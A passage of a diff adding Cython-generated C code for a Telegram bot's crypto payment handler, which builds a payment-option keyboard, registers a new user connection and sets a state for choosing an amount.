__Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/cryprobot_pay.py":60 + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":54 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/cryprobot_pay.py":66 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/cryprobot_pay.py":67 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/cryprobot_pay.py":68 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":69 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":67 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/cryprobot_pay.py":53 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":72 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":73 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) # <<<<<<<<<<<<<< + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 73, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":74 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 74, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":75 + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection( + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":76 + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection( + * tg_id=callback_query.message.chat.id, + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/cryprobot_pay.py":77 + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + * await add_connection( # <<<<<<<<<<<<<< + * tg_id=callback_query.message.chat.id, + * balance=0.0, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":78 + * if not exists: + * await add_connection( + * tg_id=callback_query.message.chat.id, # <<<<<<<<<<<<<< + * balance=0.0, + * trial=0, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_tg_id, __pyx_t_11) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":81 + * balance=0.0, + * trial=0, + * session=session, # <<<<<<<<<<<<<< + * ) + * await callback_query.message.answer( + */ + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":77 + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + * await add_connection( # <<<<<<<<<<<<<< + * tg_id=callback_query.message.chat.id, + * balance=0.0, + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 77, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 77, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":76 + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection( + * tg_id=callback_query.message.chat.id, + */ + } + + /* "handlers/payments/cryprobot_pay.py":74 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + */ + } + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":85 + * await callback_query.message.answer( + * " :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__4, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 83, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 83, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":87 + * reply_markup=builder.as_markup(), + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_choosing_amount_crypto); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_3}; + 